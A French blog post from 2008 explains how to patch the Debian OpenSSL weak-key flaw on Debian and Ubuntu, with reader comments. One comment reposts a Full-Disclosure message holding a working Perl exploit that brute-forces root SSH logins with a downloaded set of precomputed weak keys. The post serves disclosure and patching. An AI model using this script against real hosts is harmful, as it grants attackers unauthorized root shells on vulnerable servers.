Corriger la faille OpenSSL dans Debian et Ubuntu
Par Korben le 15 mai 2008

C’est Valentin, un fidèle lecteur de Korben.info qui m’a fait par de cette news et je pense qu’il est important de vous la relayer.
Une faille touchant OpenSSL a été découverte. Mais celle-ci concerne uniquement le système Debian versions 0.9.8c-4etch2 et antérieures et évidement les systèmes dérivés comme Ubuntu.
En effet, toutes les clées SSL générées sous Debian sont potentiellement “devinables” car les équipes de développement ont merdé avec l’algo d’OpenSSL…
Bref, on ne va pas pleurer mais sachez tout de même que cette faille est très grave car elle met potentiellement tous les serveurs en péril.
Une mise à jour s’impose donc…
Mais avant de commencer, faites une petite sauvegarde de votre config SSH et si possible de vos clés SSH actuelles (à vous de trouver ou elles se trouvent mais le plus souvent, c’est dans /root/.ssh ou /home/.ssh ou encore /etc/ssh/)
cp /etc/ssh/ssh_config /home/user/ssh_config.bak cp /etc/ssh/sshd_config /home/user/sshd_config.bak
Une fois que ça c’est ok, il faut d’abord mettre à jour les paquets SSH
sudo apt-get update && sudo apt-get dist-upgrade
Puis pour vérifier que vos clés ne font pas parties de la “liste noire”, lancez la commande suivante :
sudo ssh-vulnkey -a
Si vous voyez un truc du style
Not blacklisted: 1024 xxxxxxxxxxxxxxx /chemin/vers/laclé.pub
Vous pouvez vous détendre… Néammoins, la mise à jour est censée (d’après ce que j’ai compris) regénérer vos clés SSH, donc suite à l’update, redémarrez votre serveur pour être sûr de tout remettre d’aplomb…
Extrait du Wiki Debian :
Installing these packages on hosts with weak keys will cause the ssh server to regenerate its keys. Weak user keys being used for a connection will also be rejected where possible.
Attention quand même à conserver un accès “autre” que SSH en cas de souci (ça peut toujours arriver). Prévoyez donc un accès en recovery mode, ou autre…
Ma science s’arrête là… Si vous voulez en savoir plus sur cette faille, je vous invite à lire les sites suivants :
- http://www.us.debian.org/security/2008/dsa-1571
- http://www.certa.ssi.gouv.fr/site/CERTA-2008-AVI-239/CERTA-2008-AVI-239.html
- http://metasploit.com/users/hdm/tools/debian-openssl/
et surtout le wiki Debian
http://wiki.debian.org/SSLkeys
Et à vous rapprocher des forums d’utilisateurs que vous fréquentez comme Ubuntu-fr.org pour avoir plus de conseils avisés.
Evidement, je trouve abusé que le mainteneur Debian de ce package se soit amusé à modifier le code originel pour un bug non prioritaire en plus mais bon, l’erreur est humaine (même si elle emmerde des milliers de personnes) et il ne faut pas perdre de vue que ces gens (des humains pour la plupart :-)) passent quand même des heures et des heures à faire avancer les OS libres…
Good luck en tout cas, si vous êtes touché par la faille !
Je vous recommande aussi la lecture des sujets suivants
- Nouvelle version de VirtualBox
- Faille de sécurité dans MySpace… Alicia Keys en fait les frais
- Trouver des mots de passe avec Google
- Installer Vista à partir d’un DVD de mise à jour
- Faire une capture écran avec Ubuntu






bob
Les systèmes libre, de vrai gruyère.
Heureusement, personne s’en sert, sinon ce serait un beau bordel.
Posté le 15 mai 2008 à 16:15:06
Korben
@bob: MDr ! Vrai ! Avec du code fermé comme chez Microsoft, au moins les pirates ne sont pas prêt de trouver les failles… héhé…
-> humour !
Posté le 15 mai 2008 à 16:29:16
Korben
Je viens d’ailleurs de mettre à jour 3 dedibox, 2 PC Desktop Ubuntu et 1 Serveur Debian ! Et j’ai rien cassé !
Conclusion : Dieu existe !
Posté le 15 mai 2008 à 16:36:56
1ace
j’ai aussi vu passer cette faille (abonne-toi à ce flux RSS, c’est très intéressant ;))
par contre, là où je suis emmerdé, c’est que mon seul accès vers le serveur est en ssh, donc je me retrouve avec ce beau message:
une idée peut-être ?
sinon, la commande ssh-vulnkey n’existe pas chez moi… il faut un package supplémentaire ?
Posté le 15 mai 2008 à 17:12:26
Bristow
Le résultat de la commande : unknow… et je fais quoi avec çà ?
Posté le 15 mai 2008 à 17:22:51
Korben
@1ace: T’es sur que tu as fait un dist-upgrade ? Car là il n’a pas fait la mise à jour ton truc
Posté le 15 mai 2008 à 17:28:24
Korben
@Bristow: De quelle commande tu parles ?
Posté le 15 mai 2008 à 17:33:31
1ace
@Korben: oui, j’ai bien vu qu’il n’a pas fait la maj ^^
mais je n’avais effectivement pas fait un dist-upgrade mais un upgrade, et j’avais pas remarqué que tu proposait un dist-upgrade… mea culpa
merci Korben, t’es le meilleur ^^
Edit: ça marche
PS: je viens de recevoir mes CD de Ubuntu 8.04
Posté le 15 mai 2008 à 17:35:26
Korben
@1ace: Ah cool ! Moi pas encore reçu les CDs ! Sinon, good news, je vais bientot passer en Ubuntu + Virtualbox WinXP sur le PC Portable du boulot
Posté le 15 mai 2008 à 17:46:41
Bristow
@Korben : celle-ci sudo ssh-vulnkey -a
Comprend pas, il ne met qu’unknow puis : 2048 xxxxxxxxxxxxxxx /chemin/vers/laclé.pub
On verra si j’arrive à me connecter aux serveurs…
Posté le 15 mai 2008 à 22:08:37
Korben
@Bristow: j’ai eu ça aussi sur certaines clés et ça roule… Quoiqu’il en soit, faut mettre à jour…
Posté le 15 mai 2008 à 22:11:19
Korben
Hi full-disclosure,
the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.
This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.
On an unpatched system, which doesn’t need to be debian, do the following:
1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2
2. Extract it to a directory
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)
4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print “Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n”;
print “Example: ./exploiter.pl /root/keys/ 127.0.0.1\n”;
print “By mm@deadbeef.de\n”;
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die(”opendir”);
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system(”echo “.join(” “, @a).”; ssh -l root “.join(” “, map { “-i
“.$_ } @a).” “.$ARGV[1]);
@a = ();
}
}
5. Enjoy the shell after some minutes (less than 20 minutes)
Regards,
Markus Mueller
mm@deadbeef.de
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Posté le 15 mai 2008 à 22:11:51
1ace
merci pour le poc
mais c’est vrai que c’est pas terrible de se baser sur le pid pour générer la clé… je sais pas à quoi ils pensaient quand ils ont fait ça ^^
Edit: arghl ! 75Mo pour un POC… ils y vont pas de main morte
Posté le 15 mai 2008 à 22:26:11
Random
Good to Know !!!!
Merci Obibi
Pouet !
Posté le 15 mai 2008 à 23:30:26
lirva
migrez vers fedora 9 qui vient de sortir
http://fedoraproject.org
Posté le 15 mai 2008 à 23:43:00
Angelarme
…ou BSD, ou Slackware, ou…
! Ceci dit, les clés générées avec GnuPG ou GNUTLS ne sont pas touchées :
http://lists.debian.org/debian-security-announce/2008/msg00152.html
http://wiki.debian.org/SSLkeys
Posté le 16 mai 2008 à 02:40:51
1ace
Même XKCD a sortit une planche pour l’occaz’ ^^
True story: I had to try several times to upload this comic because my ssh key was blacklisted.
L’occasion de resortir le bon vieux “Trust is a weakness” ?
(ceux qui ne connaissent pas devraient avoir honte ^^)
Posté le 16 mai 2008 à 17:31:57
1ace
euh… les <img> sont supprimées après la période d’édition… normal ?
heureusement que j’avais mis le lien ^^
Posté le 16 mai 2008 à 18:08:41
Murphy
Je sais bien qu’il ne faut jamais “nourrir” un troll, mais tout de même :
@bob (”Les systèmes libreS, de vraiS gruyèreS.”)
Ça tombe bien pour Linux, le gruyère n’a pas de trou, c’est l’emmental qui en a :p
Posté le 19 mai 2008 à 15:27:52
1ace
c’est pas finit !
http://www.ubuntu.com/usn/usn-613-1
cette fois, un apt-get upgrade suffit, et vous met à jours libgnutls13 et openssl-blacklist
Posté le 21 mai 2008 à 17:47:25